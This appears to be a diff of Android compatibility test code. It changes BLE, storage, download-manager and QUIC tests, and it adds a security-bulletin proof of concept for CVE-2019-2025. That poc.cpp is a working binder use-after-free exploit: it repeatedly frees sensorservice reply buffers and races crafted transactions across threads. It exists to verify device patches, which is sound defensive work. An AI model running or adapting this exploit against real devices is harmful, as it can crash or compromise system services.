- public void onCharacteristicWriteRequest(BluetoothDevice device, int requestId,
- BluetoothGattCharacteristic characteristic,
- boolean preparedWrite, boolean responseNeeded,
- int offset, byte[] value) {
- if (mGattServer == null) {
- if (DEBUG) {
- Log.d(TAG, "GattServer is null, return");
- }
- return;
- }
- if (DEBUG) {
- Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite);
+ if (status != 0) {
+ interval_low = interval_balanced = interval_high = 0;
+ return;
}
- if (characteristic.getUuid().equals(START_CHARACTERISTIC_UUID)) {
- // time out if previous measurement is running
- cancelTimeoutTimer(true);
+ // since we don't know when the test started, wait for three descending interval values.
+ // Even though conneciton is updated by service discovery, it never happen three times
+ // descending in any scenario.
- mPriority = new String(value);
- Log.d(TAG, "Start Count Up. Priority is " + mPriority);
- if (BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH.equals(mPriority)) {
- notifyTestStart();
- }
+ // shift all values
+ interval_low = interval_balanced;
+ interval_balanced = interval_high;
+ interval_high = interval;
- // start timeout timer
- mTimeoutTimer = new Timer(getClass().getName() + "_TimeoutTimer");
- mTimeoutTimerTask = new TimerTask() {
- @Override
- public void run() {
- // measurement timed out
- mTimeoutTimerTask = null;
- mTimeoutTimer = null;
- mReceiveWriteCount = 0;
- notifyMeasurementFinished(mPriority, Long.MAX_VALUE);
- }
- };
- mTimeoutTimer.schedule(mTimeoutTimerTask, (BleConnectionPriorityClientService.DEFAULT_PERIOD * 2));
-
- mReceiveWriteCount = 0;
- } else if (characteristic.getUuid().equals(STOP_CHARACTERISTIC_UUID)) {
- boolean isRunning = (mTimeoutTimerTask != null);
- cancelTimeoutTimer(false);
-
- String valeStr = new String(value);
- String priority = null;
- int writeCount = -1;
- int sep = valeStr.indexOf(",");
- if (sep > 0) {
- priority = valeStr.substring(0, sep);
- writeCount = Integer.valueOf(valeStr.substring(sep + 1));
- }
-
- if ((mPriority != null) && isRunning) {
- if (mPriority.equals(priority)) {
- long averageTime = BleConnectionPriorityClientService.DEFAULT_PERIOD / mReceiveWriteCount;
- notifyMeasurementFinished(mPriority, averageTime);
- Log.d(TAG, "Received " + mReceiveWriteCount + " of " + writeCount + " messages");
- } else {
- Log.d(TAG, "Connection priority does not match");
- showMessage("Connection priority does not match");
- }
- } else {
- Log.d(TAG, "Not Start Count UP.");
- }
- mReceiveWriteCount = 0;
- } else {
- if (mTimeoutTimerTask != null) {
- ++mReceiveWriteCount;
- }
- if (!preparedWrite) {
- characteristic.setValue(value);
- }
- }
-
- if (responseNeeded) {
- mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, 0, null);
+ // If we end up with three descending values, test is passed.
+ if (interval_low > interval_balanced && interval_balanced > interval_high) {
+ showMessage("intervals: " + interval_low +" > " + interval_balanced + " > " + interval_high);
+ notifyMeasurementFinished();
}
}
};
- private void notifyMeasurementFinished(String priority, long averageTime) {
+ private void notifyMeasurementFinished() {
Intent intent = new Intent();
- intent.putExtra(EXTRA_AVERAGE, averageTime);
- switch (priority) {
- case CONNECTION_PRIORITY_HIGH:
- intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_HIGHT);
- break;
- case CONNECTION_PRIORITY_BALANCED:
- intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_BALANCED);
- break;
- case CONNECTION_PRIORITY_LOW_POWER:
- intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_LOW);
- break;
- }
+ intent.setAction(ACTION_CONNECTION_PRIORITY_FINISH);
sendBroadcast(intent);
}
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
index 753977b..be8b785 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -169,13 +169,11 @@
public static List<File> getAllPackageSpecificObbGiftPaths(Context context,
String targetPackageName) {
- final File[] files = context.getObbDirs();
final List<File> targetFiles = new ArrayList<>();
- for (File file : files) {
- final File targetFile = new File(
- file.getAbsolutePath().replace(context.getPackageName(), targetPackageName));
- targetFiles.add(new File(targetFile, targetPackageName + ".gift"));
- }
+ final File obbDir = context.getObbDir();
+ final File targetObbDir = new File(
+ obbDir.getAbsolutePath().replace(context.getPackageName(), targetPackageName));
+ targetFiles.add(new File(targetObbDir, targetPackageName + ".gift"));
return targetFiles;
}
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 28d06a9..44eedc1 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -187,6 +187,7 @@
<!-- Bulletin 2019-03 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
+ <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
<option name="append-bitness" value="true" />
</target_preparer>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
new file mode 100644
index 0000000..9e62920
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2019-2025
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libutils \
+ liblog \
+ libcutils \
+ libsensor \
+ libbase \
+ libbinder \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
new file mode 100644
index 0000000..38169fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2005 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_IPC_THREAD_STATE_H
+#define ANDROID_IPC_THREAD_STATE_H
+
+#include <utils/Errors.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <utils/Vector.h>
+
+#if defined(_WIN32)
+typedef int uid_t;
+#endif
+
+// ---------------------------------------------------------------------------
+namespace android {
+
+class IPCThreadState
+{
+public:
+ static IPCThreadState* self();
+ static IPCThreadState* selfOrNull(); // self(), but won't instantiate
+
+ sp<ProcessState> process();
+
+ status_t clearLastError();
+
+ pid_t getCallingPid() const;
+ uid_t getCallingUid() const;
+
+ void setStrictModePolicy(int32_t policy);
+ int32_t getStrictModePolicy() const;
+
+ void setLastTransactionBinderFlags(int32_t flags);
+ int32_t getLastTransactionBinderFlags() const;
+
+ int64_t clearCallingIdentity();
+ void restoreCallingIdentity(int64_t token);
+
+ int setupPolling(int* fd);
+ status_t handlePolledCommands();
+ void flushCommands();
+
+ void joinThreadPool(bool isMain = true);
+
+ // Stop the local process.
+ void stopProcess(bool immediate = true);
+
+ status_t transact(int32_t handle,
+ uint32_t code, const Parcel& data,
+ Parcel* reply, uint32_t flags);
+
+ void incStrongHandle(int32_t handle, BpBinder *proxy);
+ void decStrongHandle(int32_t handle);
+ void incWeakHandle(int32_t handle, BpBinder *proxy);
+ void decWeakHandle(int32_t handle);
+ status_t attemptIncStrongHandle(int32_t handle);
+ static void expungeHandle(int32_t handle, IBinder* binder);
+ status_t requestDeathNotification( int32_t handle,
+ BpBinder* proxy);
+ status_t clearDeathNotification( int32_t handle,
+ BpBinder* proxy);
+
+ static void shutdown();
+
+ // Call this to disable switching threads to background scheduling when
+ // receiving incoming IPC calls. This is specifically here for the
+ // Android system process, since it expects to have background apps calling
+ // in to it but doesn't want to acquire locks in its services while in
+ // the background.
+ static void disableBackgroundScheduling(bool disable);
+ bool backgroundSchedulingDisabled();
+
+ // Call blocks until the number of executing binder threads is less than
+ // the maximum number of binder threads threads allowed for this process.
+ void blockUntilThreadAvailable();
+ static void freeBuffer(Parcel* parcel,
+ const uint8_t* data, size_t dataSize,
+ const binder_size_t* objects, size_t objectsSize,
+ void* cookie);
+ static void freeBuffer1(Parcel* parcel,
+ const uint8_t* data, size_t dataSize,
+ const binder_size_t* objects, size_t objectsSize,
+ void* cookie);
+private:
+ IPCThreadState();
+ ~IPCThreadState();
+
+ status_t sendReply(const Parcel& reply, uint32_t flags);
+ status_t waitForResponse(Parcel *reply,
+ status_t *acquireResult=NULL);
+ status_t talkWithDriver(bool doReceive=true);
+ status_t writeTransactionData(int32_t cmd,
+ uint32_t binderFlags,
+ int32_t handle,
+ uint32_t code,
+ const Parcel& data,
+ status_t* statusBuffer);
+ status_t getAndExecuteCommand();
+ status_t executeCommand(int32_t command);
+ void processPendingDerefs();
+ void processPostWriteDerefs();
+
+ void clearCaller();
+
+ static void threadDestructor(void *st);
+
+ const sp<ProcessState> mProcess;
+ Vector<BBinder*> mPendingStrongDerefs;
+ Vector<RefBase::weakref_type*> mPendingWeakDerefs;
+ Vector<RefBase*> mPostWriteStrongDerefs;
+ Vector<RefBase::weakref_type*> mPostWriteWeakDerefs;
+ Parcel mIn;
+ Parcel mOut;
+ status_t mLastError;
+ pid_t mCallingPid;
+ uid_t mCallingUid;
+ int32_t mStrictModePolicy;
+ int32_t mLastTransactionBinderFlags;
+};
+
+}; // namespace android
+
+// ---------------------------------------------------------------------------
+
+#endif // ANDROID_IPC_THREAD_STATE_H
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
new file mode 100644
index 0000000..58e3c84
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
@@ -0,0 +1,171 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <cutils/ashmem.h>
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <linux/futex.h>
+#include <pthread.h>
+#include <sensor/ISensorEventConnection.h>
+#include <sensor/ISensorServer.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/prctl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/xattr.h>
+#include <utils/Vector.h>
+
+#include "IPCThreadState.h"
+#include "binder/IServiceManager.h"
+#include "../includes/common.h"
+
+using namespace android;
+
+#define SLEEP 0
+#define ATTACK 1
+String8 packageName("hexb1n");
+String16 opPackageName("");
+
+time_t test_started;
+
+static volatile int attack_signal;
+int my_futex(volatile int *uaddr, int op, int val,
+ const struct timespec *timeout, int *uaddr2, int val3) {
+ return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
+}
+
+static void *bcfree_helper(void *p) {
+ (void) p;
+ Parcel data, reply;
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("sensorservice"));
+ sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+ sp<ISensorEventConnection> sensorEventConnection =
+ sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+ opPackageName);
+ while (timer_active(test_started)) {
+ Parcel data, reply;
+ data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+ my_futex(&attack_signal, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
+ usleep(100);
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+ }
+
+ return NULL;
+}
+
+static void *bcfree(void *p) {
+ (void) p;
+ Parcel data, reply;
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("sensorservice"));
+ sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+ sp<ISensorEventConnection> sensorEventConnection =
+ sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+ opPackageName);
+ while (timer_active(test_started)) {
+ Parcel data, reply;
+ data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+
+ {
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+ const uint8_t *rmData = reply.data();
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ }
+
+ attack_signal = ATTACK;
+ my_futex(&attack_signal, FUTEX_WAKE_PRIVATE, 1, NULL, NULL, 0);
+ usleep(100);
+ {
+ Parcel data, reply;
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+ for (int i = 0; i < 20; i++)
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+ }
+ attack_signal = SLEEP;
+ }
+
+ return NULL;
+}
+
+int main() {
+ pthread_t t1, t2, t3;
+
+ test_started = start_timer();
+
+ pthread_create(&t1, NULL, bcfree_helper, NULL);
+ pthread_create(&t2, NULL, bcfree, NULL);
+ pthread_create(&t3, NULL, bcfree_helper, NULL);
+ pthread_join(t1, NULL);
+ pthread_join(t2, NULL);
+ pthread_join(t3, NULL);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 115fad2..520c9fc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -31,4 +31,12 @@
public void testPocBug_115739809() throws Exception {
assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
}
+
+ /**
+ * b/116855682
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ public void testPocCVE_2019_2025() throws Exception {
+ AdbUtils.runPocNoOutput("CVE-2019-2025", getDevice(), 300);
+ }
}
diff --git a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
index 77d2071..5d588ff 100644
--- a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
+++ b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
@@ -26,6 +26,7 @@
import android.database.Cursor;
import android.net.Uri;
import android.os.Environment;
+import android.os.FileUtils;
import androidx.test.runner.AndroidJUnit4;
@@ -34,6 +35,9 @@
import java.io.File;
import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
@RunWith(AndroidJUnit4.class)
public class DownloadManagerApi28Test extends DownloadManagerTestBase {
@@ -197,6 +201,7 @@
*/
@Test
public void testAddCompletedDownload_mediaStoreEntry() throws Exception {
+ final String assetName = "noiseandchirps.mp3";
final String[] downloadPath = new String[] {
new File(Environment.getExternalStoragePublicDirectory(
Environment.DIRECTORY_DOWNLOADS), "file1.mp3").getPath(),
@@ -205,13 +210,15 @@
"/sdcard/file3.mp3",
};
for (String downloadLocation : downloadPath) {
- final String fileContents = "Test content:" + downloadLocation + "_" + System.nanoTime();
final File file = new File(Uri.parse(downloadLocation).getPath());
- writeToFile(file, fileContents);
+ try (InputStream in = mContext.getAssets().open(assetName);
+ OutputStream out = new FileOutputStream(file)) {
+ FileUtils.copy(in, out);
+ }
final long downloadId = mDownloadManager.addCompletedDownload(file.getName(),
"Test desc", true,
- "text/plain", downloadLocation, fileContents.getBytes().length, true);
+ "audio/mp3", downloadLocation, file.length(), true);
assertTrue(downloadId >= 0);
final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(downloadId);
final Uri mediaStoreUri = getMediaStoreUri(downloadUri);
diff --git a/tests/tests/net/jni/NativeMultinetworkJni.cpp b/tests/tests/net/jni/NativeMultinetworkJni.cpp
index a6b5e90..5bd3013 100644
--- a/tests/tests/net/jni/NativeMultinetworkJni.cpp
+++ b/tests/tests/net/jni/NativeMultinetworkJni.cpp
@@ -455,13 +455,17 @@
setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &timeo, sizeof(timeo));
// For reference see:
- // https://tools.ietf.org/html/draft-tsvwg-quic-protocol-01#section-6.1
- uint8_t quic_packet[] = {
- 0x0c, // public flags: 64bit conn ID, 8bit sequence number
+ // https://tools.ietf.org/html/draft-tsvwg-quic-protocol#section-6.1
+ uint8_t quic_packet[1200] = {
+ 0x0d, // public flags:
+ // - version present (0x01),
+ // - 64bit connection ID (0x0c),
+ // - 1 byte packet number (0x00)
0, 0, 0, 0, 0, 0, 0, 0, // 64bit connection ID
- 0x01, // sequence number
+ 0xaa, 0xda, 0xca, 0xaa, // reserved-space version number
+ 1, // 1 byte packet number
0x00, // private flags
- 0x07, // type: regular frame type "PING"
+ 0x07, // PING frame (cuz why not)
};
arc4random_buf(quic_packet + 1, 8); // random connection ID
@@ -489,7 +493,7 @@
i + 1, MAX_RETRIES, rcvd, errnum);
}
}
- if (rcvd < sent) {
+ if (rcvd < 9) {
ALOGD("QUIC UDP %s: sent=%zd but rcvd=%zd, errno=%d", kPort, sent, rcvd, errnum);
if (rcvd <= 0) {
ALOGD("Does this network block UDP port %s?", kPort);
@@ -505,8 +509,7 @@
return -EPROTO;
}
- // TODO: log, and compare to the IP address encoded in the
- // response, since this should be a public reset packet.
+ // TODO: Replace this quick 'n' dirty test with proper QUIC-capable code.
close(fd);
return 0;
